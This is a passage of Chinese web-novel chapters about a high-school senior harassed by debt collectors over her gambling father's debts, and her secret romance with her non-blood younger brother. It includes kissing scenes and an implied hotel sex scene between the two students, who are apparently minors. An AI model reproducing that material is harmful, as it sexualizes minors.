【清安高中高三7班孔净,你想让全校老师同学都知道你有一个欠钱不还的爸爸吗?】 【孔大勇,身份信息:197X年9月3日出生,户籍地址……;李贤梅,身份信息……;孔净,身份信息……】 才短短几分钟,恐吓信息已经进来十来条。 并且每条的发送号码都不相同。 孔净随便挑了两个号码打过去,机械女声提示是空号。 催收专用的幽灵号。 孔净浑身血液都是凉的,僵站了好一会儿,然后咬着指甲走来走去,开始给孔大勇打电话。 毫无疑问,就像过去每一天发生的那样,打不通。 早在李贤梅不告而别的第二天,当她看见孔大勇欠下的赌债清单时,她就隐约意识到这一天会来临。 只是比想象中来得晚一点,晚到她开始产生侥幸心理,以为被风浪遗忘。 然后再在风和日丽的某天,猛地被拽下岸。 新的一年,从一月一号开始,孔净每天都能收到十多条带威胁恐吓性质的催债信息。 她侧面问过陈端,也当他的面点开过他的收件箱,确认陈端不是对方的催收目标。 或许是因为,催收那边非法查到的户口薄信息里,孔净一家只有三口人,陈端这个编外人员不曾出现在他们的视线里。 孔净自认为抗压能力很强,每天出现的信息轰炸不过让她比先前更加沉默些罢了。 但拖下去不是办法,事情总要解决。 期末考试前一天,孔净第一次在课间接到虚拟号打来的电话。 滋滋的电流乱码声,一个不辨男女的诡异声音奸笑着问她是不是孔大勇的女儿,“限你明天晚上之前把钱凑齐,否则我们学校见——” 最后一个字音连接着类似指甲猛烈剐蹭金属表面的声音,孔净感觉耳朵都被刮伤了。 电话挂了。 孔净试着打过去,被提示是空号。 “你脸怎么这么白,生病了?” 新同桌和她一起出来上厕所,好好排着队,孔净突然跑到走廊角落接电话,等她后边再出来时,就看见孔净石化一样,眼神空洞紧紧握着手机。 “没有。” 孔净勉强挤出一个笑来。 她自己不知道,其实比哭还难看。 明天开始考试,教室座位已经全部布置成考场,因为所有东西都要清空,晚自习下课,陈端来帮孔净把剩余的书搬去宿舍。 “妈留下的钱,我想抽一部分先用。” 孔净故意拖延时间,校道上已经没什么人了,她忽然开腔。 “那是梅姨给你的,想用就用,和我说干什么。” 陈端语气带一点笑,或许孔净认为李贤梅留下的钱是给他们两个人的,但他从来想过要染指一分。 这也是为什么当了几个月假好学生之后,临近期末他反而又开始打游戏的原因——手里的钱不多了。 孔净从陈端的话里听出几分置身事外,她抿了下唇,还是继续说:“我想先帮爸还上一部分——” “赌债?” 陈端一愣,自动帮她补齐后面的话。 “如果你是在问我的意见,我会告诉你,不行。”他嗤笑,语气格外凉薄。 孔净没想到陈端会这么直白,“你的意思是我们就看着爸东躲西藏,一直不管?” “不然呢。” 陈端理所应当的态度,反过来问孔净,“拿什么管?你就算把几张卡里的钱全部填进去就能管得了?赌徒的心理,一旦有人兜底,他们只会更加肆无忌惮。孔叔现在就是个无底洞,谁沾谁倒霉。” “那你觉得应该怎么办?” “凉拌。” “如果爸被他们抓住……” “那也是他自找的。” 孔净木然看着他,这个人可真够坏的,就算不是亲爸,怎么说也养了他十年。 怎么能这样?! 第54章 嘴上说着不管 陈端并不想和孔净发生争执, 只是她最近这段时间明显反常,问就是学习压力大。 孔净可能觉得他是个瞎子或者傻子,手机每次一震她都神色仓促的样子能骗得过谁。 好不容易等到孔净主动说,却没想到张口就是要帮孔大勇填窟窿。 “孔叔联系你了?” 陈端问。 “没有。” “那是……”陈端偏头看向孔净, 下巴忽然一抬, “手机拿给我看。” “看什么?你都说不管了。”孔净脑子里装的东西太多了, 考试、李贤梅、孔大勇、讨债信息…… 因为和陈端聊得不顺,感觉再多说一句就要爆炸。 孔净大步往女生宿舍楼走,或者说是跑。 陈端拿她没招, 把两摞书寄存在宿管阿姨那儿,站在楼下给她打了两通电话都没接。 “怎么回事?你惹你姐姐生气了?” 自从孔净住校以来, 陈端几乎每天晚上都送她回寝室,宿管阿姨当然认得这对明星姐弟。 陈端没说话, 兀自低头在屏幕上点来点去, 电话不接, 信息总会看吧? “什么事都等考试完再说,你姐姐最近太拼了,宿舍都断电了她还开着台灯学。现在还只是高三上学期,等下学期离高考越来越近, 她得学成什么样……” 宿管阿姨私下经常拿孔净作为例子教育自己的孩子, 但教育归教育, 她心里觉得这种学法就跟机器似的,孔净是个能吃苦的,换了别人早学傻累倒了。 陈端第一次听说孔净居然每天在宿舍要熬到凌晨,指尖顿了顿,把刚才编辑的两行都删了,最后只发去一条:【早点睡。】 但陈端这人性格和外表严重不符, 他做事有自己的节奏,很少被别人改变。 宿管阿姨说什么事都等考完试再说,他越看孔净的样子越觉得根本等不起。 上午考语文,他提前交了卷之后就慢悠悠地运着一颗篮球往操场去,等到时间差不多离考试结束五分钟的时候,把球传给其他人,单手把校服外套搭在肩上,走到一号考场门口时刚好响起考试结束的提示音。 考试座位按年级排名来,能进一号考场的都是好好学生,就算有提前交卷的能力,也会乖乖检查检查再检查,直到交卷。 趁着监考老师组织交卷、考场一片嘈杂之际,陈端走到前门存放考生手机书包的地方,手臂一伸,直接把那个包着橘红硅胶手机壳的最新款苹果机给捞走了。 “诶那个同学……” 监考老师余光里一个只穿短袖的挺拔身影晃眼闪过,两个考生走到面前交卷子吸走注意力,再转过头去那个身影已经不见了。 孔净坐在里边贴墙第一排,交完卷之后带着笔袋去拿手机,筐子里翻了两遍都没找到她的。 正要转头去找监考老师反应情况,转眼就看见懒懒倚在走廊栏杆上的人! “给我。” 孔净走来一下从陈端手里把手机抽走,屏住呼吸瞥了他一眼,直接往食堂方向走。 “这么久了怎么不跟我说?” 陈端不紧不慢走在她身侧,语气透着一股薄戾,不是对孔净,而是对短信内容。 “说了又能怎么样,反正你也不会管。” 孔净本来已经做好心理建设,她告诉自己先考完,对方只是恐吓而已,她不信真的敢找到学校来。 如果真的找来……到时候再说! “我说不管你?”陈端啧一声,不解气,忽然伸手圈住孔净手腕。 还没出教学楼,周围都是人,孔净吓了一跳,“你干嘛?” 陈端看她憋红脸,眼神左右乱飘,一副地下情生怕被人发现的样子。 是想放开的,但一想到这么大的事她居然瞒了自己这么久,就来气。 于是松扣在她腕骨上的指节一下合拢,握紧,“你说我干什么?” 孔净挣不开,又不敢使大动作引来关注,仰头看他,“又犯浑是不是?” “是。” 陈端刚运动过,虽然只穿了件短袖配校服裤子,浑身却燥得像烧红的铁,握住孔净手腕的掌心也是烫的。 这种烫让孔净想起在出租屋里发生的事,她小幅度扭着手臂,很怕脑子里的画面泄露,被人看穿。 陈端越看她这样情绪起伏越大,破坏欲被勾起来。 “陈端!” 孔净压着声音喊他,她立在角落不肯再多走一步,前面人太多了,真的会被发现。 陈端眯起眼睛看她,视线直勾勾往她嘴唇上咬。 孔净怕了,“你到底想干什么?” “你说我想干什么。” 陈端转过身,握着孔净的手腕作势往上抬,生怕没有暴露在别人的视线里似的。 “你……” 孔净发现这个时候的陈端根本听不进去任何话,硬碰硬不行,她压着怒火妥协,“中午时间很多,我们先回家。” “好啊。” 回出租屋意味着什么两个人都很清楚。 属于他们的私密岛,任何不被道德允许的事都可以在这里肆无忌惮地上演。 不过,外面是陈端的主场,进了屋子就变成他的修罗场。 没有被人发现的可能,陈端也失去掣肘孔净的把柄。 孔净带着怒气,与其说是亲吻,不如说是撕咬,齿痕细细密密地落下,牙齿又尖又利,嘴唇却柔软溢满汁水,啃咬和亲吻在同一时间发生,神经叫嚣着痛和再来一次。 陈端后脑勺用力抵在椅背上缘,露出的脖子隐有青筋爆出,但更多的是吻痕,红一块紫一团,凸起的喉结被密叠的齿痕包围。 他闭上眼睛,嗓子哑得快要窒息,“孔净……你不如给我一刀……” 孔净被他扣住腰往下压,始终不肯坐下,跨站在他面前,皮筋松落,长发像黑绸一样蒙在他脸上。 这是对他的惩罚,最亲密的办法。 “还敢吗?”连喘息都带着怒意,孔净指甲掐进他肩上的皮肤。 陈端眼眶微红,和哭这种矫情的字眼没关系,他只是不满足,甚至愤怒。 说他狠说他坏,其实最狠最坏的人平时最老实巴交,一旦拉上帘子关上门,就亮出猫爪只对他一个人发狠。 “说吧,你到底怎么想的?” 陈端完全被磨得没了脾气,如果妥协和示弱能换来进一步的亲近,他可以匍匐在她面前任她随意扯动捆在他脖子上的链条。 “你管我怎么想,反正对你来说爸跟你一点关系都没有,他就是个累赘。” 孔净用力掰开他的指节,腰上的力道陡然一松,她按着陈端的肩膀往后退。 还未完全撤离,陈端两腿敞开的角度放大,卡住孔净的膝盖内侧,一只滚烫的手掌重新贴过来,半个腰都被他箍住。 “我是这么说的?” “啪!” 孔净打他手背,被卡住的两腿怎么扭动都无济于事。 “总之不要你管!” 腿使不上劲,孔净就把所有力气集中在上半身,两手在陈端身上用力一推。 椅子重心不稳,带着陈端往后倒,他反应快伸手抓住桌沿,趁着混乱孔净右腿后收从他膝前绕过。 扯下已经快掉到发尾的皮筋,一边拢头发一边径自往外面走。 孔净感觉整个人都要爆炸,什么事都集中在今天爆发。 她也搞不懂为什么每次一聊到家里的事,她和陈端到最后都会变成敌对方。 胡乱在网吧旁边的米线店找了个位置坐下等餐,Lily看见她,视线在她身上不住打转。 孔净出来时没照镜子,但还是下意识把校服外套的领子拉到最顶端。 “交男朋友了?”Lily单手撑着下巴,笑容暧昧。 孔净一僵,正好老板把米线端过来,她说了句谢,顺便借着这几秒的空隙调整了下面部表情。 “怎么这么问。” “女孩子谈恋爱和没谈恋爱完全是两个状态,而且……”Lily忽然伸手,孔净闪躲不及,左边耳朵后面的皮肤被她冰凉指甲一戳。 “这么大个草莓印明摆着的罪证嘛。”Lily朝孔净抛两个媚眼,“谁啊?我猜猜……” 孔净低头吃米线,没放辣酱也觉得呛口。 她抓了两张餐巾纸捂住嘴咳嗽,解释说:“被蚊子咬的,没有的事……” Lily忽然拍手笑出声,“逗你呢!什么草莓印,什么都没有!你居然也信。这种天气哪儿来的蚊子啊。” 孔净抿嘴也笑了下,同时,Lily扬手朝店门外笑着喊,“陈端!过来这儿,姐姐请你和你姐姐吃米线!” 孔净抬眼,斜对面的巷子口一个冷淡身影目不斜视,从光亮走进阴影里。 “嘶……”Lily咂咂嘴,“真是越来越没劲了。” 她忽然想起,“今天网吧生意差得要命,听说是全市初高中考试,你俩怎么有空中午跑回来?” “……东西忘拿了。”孔净往米线里加辣椒酱,垂眼搅了搅。 孔净没那么傻,就算真要帮孔大勇还钱,起码也要见到孔大勇再说。 只是催收在这行做久了也懂得了一些拙劣的心理学,用词用句极力挑起收件人的恐慌。 真的很烦人。 孔净把手机设置成白名单模式,想了想,干脆关机锁在宿舍柜子里。 她集中精力应对考试,接下来的两天时间里陈端没来找她。 她去食堂吃饭时特意和18班那个乖乖仔偶遇,得知陈端虽然将提前交卷贯彻到底但每堂考试都没缺席,她算是松了口气。 考完最后一科,孔净回宿舍把东西一收,立即骑车去了趟派出所。 她向民警反应了暴力催收的事。 不知道是不是报警真的起了作用,没几天催收短信和来电就消失了。 但另一桩烦心事接踵而来,自学校放假之后陈端就没回来过。 孔净不认为他们是在冷战,也开始厌烦他来去自由的洒脱。 在她的认知里,家人永远不能抛弃,家也不是想来就来就走就走的场所。 孔净把手机揣兜里,先去了趟网吧。 学校一放假网吧生意就爆火,Lily人逢喜事精神爽,紧身连衣短裙外面套一件豹纹皮草,扭着腰在大厅里和网瘾少年们嬉笑怒骂。 孔净匆忙扫一眼,没等Lily过来,问了网管小哥得知陈端不在,她就走了。 午后的太阳晒着感觉很温暖,但要是在阴凉地里待久了还是会有凉意。 孔净坐在自行车坐垫上,手肘撑在龙头上手背托着脸颊,指尖在屏幕上戳了又戳。 虽然气恼每次好像都是她先低头,还是点了拨打键。 接通时间很长,在自动挂断的前几秒,孔净听见那道熟悉的清爽音色,“终于想起我来了?” 真搞笑,他离家出走在先,并且也一直没联系她不是吗? 孔净不想花着话费和他吵,听见那边背景音嘈杂,问他:“你在哪?” “闽城。” “你怎么不说地球?” “地——” “你说出来试试。” 陈端隔着手机轻笑一下,在又一次惹毛孔净之前,换了副相对正经的语气,“真在闽城东边,过两天就回来了,等会给你发定位。” 孔净以为他没回来一定又是去网吧、会所之类的地方鬼混,看见定位第一时间是存疑,距离临水镇六百多公里的老山村,陈端在跟她开玩笑吗? 但这通电话之后,陈端每隔几个小时就会给孔净发一次定位,距离越来越近。 第二天下午,孔净出门时不经意扫过桌上的日历本,居然明天就是除夕了。 她骑着自行车往客运站赶,看定位陈端坐的车就快到站了。 孔净心想如果过去等不到人,那她回去就把陈端的东西扔出房间。 “格老子的累死老子了……” 却没想到首先从大巴上下来的是孔大勇。 他瘦了黑了,衣服挂在身上空空荡荡乌漆嘛黑,要不是那双标志性的金鱼眼,以及走着走着就摁住一边鼻孔用力对着地面喷射鼻涕的动作,孔净第一眼根本认不出这个落魄乡亲是她爸。 视线越过孔大勇,再看见后面下车的人,脸还是那张脸,高瘦的个子也依旧挺拔,但衣服破了洞,牛仔裤从浅蓝变成了浅灰,狼狈程度和孔大勇不相上下。 孔净心口莫名堵得慌,“你上哪儿把爸找回来的?” 陈端很缺觉,眯起眼睛让太阳直晒在脸上,想了几秒才说,“……地球?” 孔净仰起脸看他,这个瞬间心里所有火全都自动熄了。 他这个人,明明嘴上说着不管……算了。 第55章 奖励 孔大勇反侦察意识强烈, 包了浆的旧皮衣领子竖起来,整张脸遮得只剩一双眼睛露在外面,东瞟西瞄的。 不经意和孔净对上眼神,他嘴硬道:“老子是怕冷。” 孔净有点想笑, 小时候怎么会觉得爸爸是老大, 是英雄? “你这几个月去哪儿了?”她问。 “你管老子!” 孔大勇虽然在外面混得没了人样, 在女儿面前却还坚持霸|权主义,自以为一家之主,谁也没资格过问他的事! 陈端回来前托人在另一处租了个单间, 本来他提议让孔大勇先去孔小琼和赵健那儿暂住一段时间,他们也是承包的石材厂, 过年这段期间厂子放假有多余的工人宿舍腾出来。 但是孔大勇不干,他觉得自己落魄了, 赵健肯定看不起他, 他才不去妹妹妹夫门前讨饭吃。 孔净原路骑车回居民楼, 陈端把孔大勇送去临时住所之后,天快黑了才回来。 孔净放假都是自己在家做饭,菜都洗净切好了,她坐在书桌前听见开门声, 转头看一眼进来的人, 放下笔就走去阳台系上围腰。 房间里亮着灯, 残存的灿光从阳台那一小绺玻璃窗投进来,孔净就站在灯光和霞光的交界处,将沥干水汽的空心菜倒进热锅里,滋啦啦的油爆声炸出蒜香、干辣椒和新鲜时蔬本身的香气。 锅铲翻动,女孩的高马尾似一尾灵巧的鱼,在半空中摆动。 陈端倚在门边看着这一幕, 因为感到踏实和安全,积压许久的疲乏才敢抽丝剥茧地往外溢。 很想过去讨个抱,但低头看了眼自己这一身,只好老老实实捞起孔净事先整齐放在床头的换洗衣服,去浴室洗澡。 “先吃饭,吃饱了睡醒了再说。” 孔净把房子里本来就有的那个折叠矮桌支在推拉门边,两菜一汤,有荤有素,陈端碗里的米饭像小山一样冒尖尖。 陈端的确饿了,很饿,可他吃饭还跟以前一样斯文。 孔净吃完后,就双膝并拢撑着手肘托腮看他吃。 意外他俊美的面孔竟在不知不觉中多了几分成年男性才有的坚毅和冷峻。 不过两颗酒窝一旦散漫释出,便又是少年人的清爽和恣意。 孔净收拾碗筷,被陈端抢先,“我来。” 孔净便不和他做无意义的争抢,关了大灯,只留落地灯,柠檬色的光线晕染,听着阳台上传来的断续水声,她平静地收拾室内卫生。 过了会,水声停了,她听见极轻的脚步声,柔缓并略微有些粘黏,转过脸,陈端果然赤脚踩在木地板上,斜倚在推拉门边。 “我觉得你应该是一个奖惩分明的人。”他垂眼看过来,眼眸里的笑漫散而直白。 孔净不知道该怎么说他,消失这么多天费劲周折把孔大勇找回来,难道就是为了收到奖励? 冠冕堂皇地说一句因为亲情不是更能打动人? 孔净把书倒扣在桌面上,“过来。” 陈端弯起嘴角,嫌椅子太低,俯身直接把人抱起来,放到书桌上。 冷白手掌抬起来扶住她的脸,低头吻下来。 自从那天之后他们就没接触过,唇瓣相抵的瞬间孔净感觉一股生理性的电流快速掠过,呼吸又急又热。 他们用相同的牙膏、沐浴露、洗发水,相同的味道原本只停留在自己身上,因为亲吻和拥抱而糅合在一起,分不清彼此。 陈端很燥,孔净也被他带得乱了阵脚。 “孔净……” 勾连的唇瓣短暂离开,陈端手指勾起孔净的下巴,眼睫像染上火星的鸦羽,纷乱撞击。 他喘着气笑了一下,“别想糊弄我。” 如果是跟以前一样的程度又怎么能叫奖励。 孔净整个人像熟透了的水蜜桃,粉薄皮下清甜饱满。 “如果这叫糊弄,你可以不要。” 她被体温烘得发红的手掌贴着陈端的后颈。 以前看电影时不懂,还以为是导演故意延拓时间,以此增加观众的窥探欲。 现在才渐渐明白,互相的身体探索、适当的气氛烘托是促使人体分泌大量多巴胺的必要阶段,人说到底追求的都是感官和精神体验。 正因为如此,只要没有真的获得,孔净吊在陈端面前的那根胡萝卜就永远令他垂涎。 他以为他尝到了,到头来只是嗅了下胡萝卜的香气、舔了下胡萝卜的汁水,到真正意义上的品嚼长路漫漫。 更毋宁说是餍足。 “你们学霸是不是都这样?” 陈端红着眼眶,唇齿压在皮肤里声音显得又闷又粗。 “哪样?” “凡事都做个计划表,说好听点叫循序渐进,难听点就是吊足胃口,虚与委蛇。” 他后面跟了个脏字,然后在孔净允许的地方用力吻咬。 “……随你、怎么说。” 孔净吞吐困难,两手反过来紧紧扣住轻轻桌沿。 后来陈端去了趟浴室,花洒一直开着,他在里面待了很久。 夜里,他们紧缩在一张单人床上,盖着一床被子。 孔净的头发太长太厚,陈端怕压到扯痛她,垫在她脖子下当枕头的那只手折过来,配合着另一只手帮她用皮筋挽了下。 发丝在指间滑过,像游鱼一样根本抓不住。 陈端忽然反应过来,“孔净,你是不是给自己留着后路啊?” 孔净侧躺着后背抵着他滚烫的身躯,闭着眼睛像是睡着了。 过了几秒,她温吞地回了句,“你说什么?” “没什么,睡吧。” 陈端把她抱紧了,堵死在她身后。 除夕这天,阖家团圆的日子,无论怎么样都是要吃顿团圆饭的。 孔净早早起来,陈端陪她一起去市场买菜。 人很多,冷清的空气也被渲染得热烈,隐约可以闻见烟花爆竹燃放过的味道。孔净两手揣兜里,穿梭在一个个摊贩面前,她负责挑选和讲价,陈端负责出力拎东西。 陈端把孔净和一兜子菜送回出租屋,之后去接孔大勇。 拖拖拉拉到了下午一点多才吃上午饭。 日子都烂糟到这份上了,孔大勇还不忘自带酒水,叼着一根烟屁股进门,在白雾中眯眼梭巡一圈。 “房子这么小……”他脑袋被酒精毒害,反应过分慢,坐下来嚼了一把油炸花生,才发现不对劲,“一张床怎么睡?” “陈端晚上打地铺。平时我们都住校,只有放假才过来。” 孔净知道陈端在看自己,但她没抬眼,语气很平静。 孔大勇好糊弄,只顾着往嘴里灌酒塞菜,陈端面前一只酒杯,陪他喝。 高浓度的劣质白酒,一瓶见底,孔大勇约莫微醺了,就开始滔滔不绝了。 当然还是老生常谈,讲讲过往荣光,再控诉如今时运不济,话锋一转,向陈端和孔净开炮。 他不承认李贤梅的离家出走跟自己有任何关系,把所有责任都归咎于孔净不听话、陈端不喊她妈。 最后他要揍陈端,因为想起被那条街的娱乐场所拒之门外以及进口摩托的事了。 摇摇晃晃,站起来都走不成直线,饭桌倒先被他掀翻了,菜碟、酒瓶哗啦啦铺得满地都是。 然后孔大勇咕噜几声,很有眼力地倒在一块还算干净的地板上,打起呼噜。 陈端和孔净一起蹲在地上收拾,肩膀挨着肩膀,似有若无的碰触。 温热的鼻息落在脖颈上,孔净吓了一跳,条件反射地去看已经睡死了的孔大勇,然后侧眸瞪向始作俑者。 陈端弯起唇在笑,一双眼睛又黑又冷峭,是在揶揄孔净:看吧,这就是你亲爱的爸爸,我帮你找回来了,开心吗? 孔净没理他,碗洗了、地拖了,拎着垃圾下楼去扔。 陈端走在她身后,刚进楼道还没下第一步台阶就伸手过来揽住孔净的肩膀,把人转个面,直接吻下来。 残留的劣质酒精在舌尖弥漫开,然后充斥整个口腔,这味道又苦又冲,孔净瞬间就被呛得想咳嗽。 然而陈端并不给她这个机会。 孔净感觉呼吸有点困难,指尖被垃圾袋勒得发疼,舌头和嘴唇也在疼痛和揉抚中反复横跳。 走廊里传来人声和电视声,有户人家开了门似乎也要下楼。 脚步声和说话声一波波传来,孔净推了陈端一把。 他却更来劲,把人抵到墙边,勾起她的下巴卖弄吻技一般弄出细碎的水声。 脚步声真的很近了,孔净听见小孩走在前面蹦蹦跳跳地往这边来。 她憋红了脸,仰起脖子用力咬了一口。 面前的人终于因痛停顿了半秒,孔净推开他的时候,刚好看见一个小孩的身影。 小孩有点懵,没看见限制级画面,却因为猛然在静寂的楼道里看见两个顶漂亮的哥哥姐姐,而一时不知道该做什么反应,呆呆地眨眨眼。 “囡囡,怎么了?”后面大人跟上来,瞧见孔净和陈端也顿了顿,李阿嬷一拍额头,慈祥笑道,“好像是住隔壁的高材生。” 孔净已经转身在往楼下走了,闻言回头笑了下,陈端一张脸也出现在她视野范围,盯着她发肿的唇不动声色地耸了下眉。 李阿嬷热情地要从口袋里抓糖给他们吃,孔净连说不用,下楼的速度很快,几乎是落荒而逃。 陈端恶作剧地从中得到快感,在她身后笑了一路。 孔净越是害怕被人发现,陈端就越是享受在别人的眼皮子底下“偷情”。 孔净摸清了他的心理,已经懒得和他争了。 天气蛮好,孔净沿着小巷往外面大马路上走,陈端身上一件单薄的黑色卫衣配深蓝色牛仔裤,十度左右的天气并不冷,反而显得清爽俊朗。 “留孔叔一个人在屋里没事?” “转一圈就回去。” “后面想好要怎么办了吗?” “什么?”孔净知道陈端指的是什么,但她还是回头看了他一眼,“等爸酒醒……等除夕过完再说。” 也不差这一两天了。 第56章 禁果 “要放鞭炮吗?” 陈端看见一群衣着鲜亮的小孩拿着仙女棒之类的东西走过。 孔净笑说:“我已经过了为转瞬即逝的美丽买单的年纪。” “说得你很老一样。” “不老, 但怎么都比你大一岁。” 陈端笑一下,走去斜对面开在居民楼下的小卖部,随手买了一把仙女棒和一支防风打火机。 “要玩吗?” 他回来之后又问。 孔净无语,买都买了。 她只点了两根, 剩下的让陈端拿着, 等天彻底黑了再下来玩。 于是太阳还挂在天空的傍晚, 孔净站在居民楼里的小广场上,手里舞着两根冷焰火,旁边几个小孩在滑滑梯、跳房子。 陈端笑着看她, 拿出手机拍了一张。 “给我看看。” 孔净凑过来检查他有没有把自己拍丑。 陈端却故意按了锁屏键,屏幕上立即映出孔净瞪人的大眼睛。 “转瞬即逝的美丽, 你也是这样看待我们的关系吗?” 手机在陈端手里翻转两下,黑色机身和冷白皮肤精致对比。 “别说你对我的身体不感兴趣这种鬼话, 你……”他撩眼看向孔净, 笑得有点痞, “反应很强烈。” 孔净转头看一眼旁边,确定那几个小孩听不见他们的谈话,然后才重新把脸对向陈端。 “不要每次都挑这种时候讲这种话。” “有什么办法,只有这种时候你才会讲真话。” “我什么时候骗你了?” “不算吗?” 陈端仍旧是笑着的, 目光笔直地看向孔净的眼睛, “你喜欢我吗?” “我当然……” “你知道我说的是什么样的喜欢, 别跟我鬼扯姐姐弟弟亲情友谊。” 孔净一下被他堵住话头,抿了下唇。 陈端轻啧一声,表情和悲伤失望之类毫无关系,是果然被耍了的自嘲。 “所以你之前说试试,就真的只是试试。”指尖扣住手机,陈端皱了下眉, “这种试试,不就是动物性的试。” 不过他又笑了,“没关系,欢迎你继续试,我很乐意充当你的身体试验官。” 他忽然凑过来,还残存着酒气的口息洒在孔净脸侧,“既然是试,那就应该秉承双方平等自愿的原则,不能再是你一个人说了算,对吗?姐姐。” 后面两个字咬字加重,像他用牙齿闭合在皮肤上。 “孔净!”一道女声把孔净拉回神,转头,Lily捧着一盆金桔走来,“团圆饭吃过了吗?” “嗯,你呢?” 余光里,陈端朝小广场另一边出口走去。 “干嘛啊?老躲着我,我有这么可怕?”Lily瞟了眼陈端的背影,带着女凝视角,“这腰臀比,好翘啊。” “……Lily姐。” “纯欣赏啦。” 网吧今天歇业,Lily赶着找地方做个美甲,然后再回老屋陪家人一起守岁。 临走前她把挂着红色祝福卡片的金桔盆栽塞到孔净手里,“大‘橘’大利,招财进宝,送你啦!” 走了两步想起不对,笑着回头,“也有其他含义,桔的谐音是‘捷’,祝你学业爱情双告捷。” 天快完全黑了,闽城拜拜习俗风靡,沁凉的空气里弥漫着金箔燃烧后的味道。 孔净捧着盆栽往回走,身后响起清越的脚步声,她没回头,凭感觉认出是他。 “能吃吗?” 陈端神色自若地和孔净并肩而行,自动把他们之间的气氛拉回寻常。 “应该不……喂!” 不等孔净说完,他伸手直接拽下一颗金果,路过小卖店借用人家的洗手池冲了冲,咬下半边。 孔净看他,“酸的?” “很甜。” 孔净半信半疑,扫了眼四周见没人,于是张嘴衔住陈端递到唇边的那半边果肉。 “……好酸!” 孔净表情一言难尽,其实并不全是酸,也有一点甜,却很涩。 “不喜欢吗?我觉得还不错。” 陈端从孔净怀里接过盆栽,指腹在她手背上擦过,一热一凉,因此即便是极短暂的瞬间,也能清晰感知彼此的存在。 孔净接触到他的视线,忽然明白过来,他口中的金果其实是禁果的含义。 陈端恶劣地垂眸扫了眼盆栽上结的果子,“一天一颗,够吃十天半个月。” “爱找虐就吃。”孔净轻描淡写地回一句。 陈端笑了,“刚才都说了,我喜欢这个味道。” 孔净没说话了,两人往楼上走。 一进入相对封闭的环境,他们之间的磁场就开始变味,如同要亮不亮的楼道灯,潜伏在亲情外表下的爱|欲张力明灭跳动。 “如果有时光机,你最想回到哪一天?” 空旷的脚步声作为背景音,陈端慢条斯理地问。 孔净不认为他有童真的一面,这个问题无非是试探。 她没遂他的意,因为如果她未来有幸成为百岁寿星,那么如今人生也已经过去五分之一。 恋爱、异性这种字眼至今为止不是她过去人生的重心,现在不是,未来也不会是。 “出生那天?”孔净说出来又自我否决了,“刚出生的婴儿什么也做不了……这个问题真没意思。” “人生本来就没意思。”陈端偏过脸笑了下,“一直以来你装得那么努力,内里和我又有什么区别?悲观,自厌……” 不等孔净反驳,他又说,“当然也有不同,那就是你比我能忍,很多事情你心里明明另有想法,却被世俗那一套观念绑架着从而做出与真实想法相悖的举动。” “你不如简单点,直接说我伪善。” 孔净并不生气,他们成为姐弟已经十年,虽然很少谈论这种深刻的话题,但因为太过了解,总是会在日常相处中露出一点蛛丝马迹。 她很多时候确实很矛盾,比如私心里认为陈端说的没错,就算孔大勇是她亲爸,也不应该管一个赌鬼的烂账,再比如她认为和陈端跨越姐弟关系的纠缠是错的…… 但做出来的又都是另外一回事。 陈端是另一个反差,他果决、极端,天生具备叛逆精神,不仅怎么想就怎么做,甚至还会故意挑战世俗的规训,非要虽千万人吾往矣才痛快。 话说到这个份上,孔净忽然停下来,“那你呢,喜欢我吗?” 是延续之前小广场的话题。 陈端站在比她低两级的台阶上,却还是和她视线齐平,脚步声停了,楼道灯因此熄灭,黑暗如同潮水将他们漫卷。 辨不清彼此的面容,却能在黯淡中准确感觉视线的撞击,陈端轻笑一下,“你说呢?” “是喜欢我,还是喜欢我是姐姐?” ——“你以为我这么低俗?” “你很想和我做对吗?” 两道声音同时响起,前者轻蔑,后者冷静。 黑暗中,陈端愣了一霎,孔净总是出其不意。 会挠人的猫平日里总是最乖巧的那一个,亮出爪子的那一刻你甚至以为她只是在表示亲昵。 陈端以为孔净是让他表白,结果却是直接把他对她的妄念归咎于对姐姐身体的渴望。 虽然这的确很符合他藐视一切伦理纲常的破坏欲。 居民楼附近就有宾馆,为了配合孔净的“伪善”,陈端还是带她去了相对偏远的一处酒店。 在出租车上就订好了房间,到地方后陈端先进去和前台确认,然后把房号发给孔净。 信息发出去并未得到孔净的回复。 陈端倚在玄关墙面烦躁地划拨屏幕,没有人知道他在这短短几分钟里其实是在期盼孔净中途反悔。 他确实很想和她做,但绝对不是为了做而做。 敲门声响起,陈端静了半秒,然后将手机扔到一边,几乎是带着怒意的,一手拉开门板,另一手强硬将站在走廊上的人拉进来。 房间从始至终就没开过灯,窗帘半开,月色和星光寥寥,从天黑就开始断续燃放的烟火绚烂至极,霓虹光线一簇一簇地透过窗户,偶尔映在他们的脸上和身上。 第一次接吻是三个月前,一个季度过去他们通过和对方的多次演练,吻技已然成熟。 另一个层面的探索却都是新手,孔净太软了,陈端是另一个极端。 但正如他们在外部呈现的那样,无论陈端如何恶劣如何具有进攻意识,第一次,孔净必然是掌握主导权的上位者。 “你会……”很痛。 仅凭看过的影视片段也知道这绝不适合当下,陈端来不及阻止。 很难形容这一瞬间的感觉,无数根弦横拉绷紧,高压锅气压顶满,暴雨前的沉窒…… 或许孔净也有和陈端相似的反骨,不,她表现得比陈端更甚,很执拗,不停。 “嘭!” 窗外烟花炸开,照得孔净的脸光怪迷离,她指甲掐进陈端后背,“感觉……怎么样?和想象中比……” 陈端瞬间火气蔓延,“你以为我经常在脑子里幻想和你做?” “你在浴、室想的……难道不是我?” 陈端无言,他不能否认。 这仿佛证实了他的卑劣。 这场最亲密的接触一开始就带上了对抗和发泄的意味。 “啪!” 孔净不知因为忍痛还是别的什么原因,在黑暗中抬手扇了陈端一下。 她把力气都用在了别处,指尖软绵绵地掠过他的脸侧,由此引发的精神性刺激却和生理性的不相上下。 所以,一切都加倍了。 孔净不让陈端喊自己的名字,因此从他口中溢出的只能是“姐姐”两个字。 陈端分不清这是不是孔净故意实施的讽刺,无所谓了,这条界限终究是被他们踩过了。 中途,陈端强行控住她,“……姐姐,再疯是不是也应该戴套?” 来的时候脑子太混乱没想过去买,他伸手去摸床边柜,一般酒店都有备。 孔净趴着伸出手捞起掉在地上的衣服,从兜里掏出朝着陈端身上甩过去。 方正的包装盒边角划过皮肤,并不十分痛。 他捡起来,不止一盒,是两盒,三个月前他们第一次接吻时他去便利店买的。 “……你什么时候带出来的?” 陈端脑子更乱了。 但他不需要孔净回答了,塑封撕裂声响起。 凌晨一点多,孔净和陈端相继走出房间,两人都穿戴整齐,前后又隔着一米远,前台打着呵欠朝他们看了眼。 来的时候能打到车,这个点又是除夕夜,街上已经看不到什么车了。 孔净掏出手机开了导航,一言不发走在人行道上。 “我背你。” 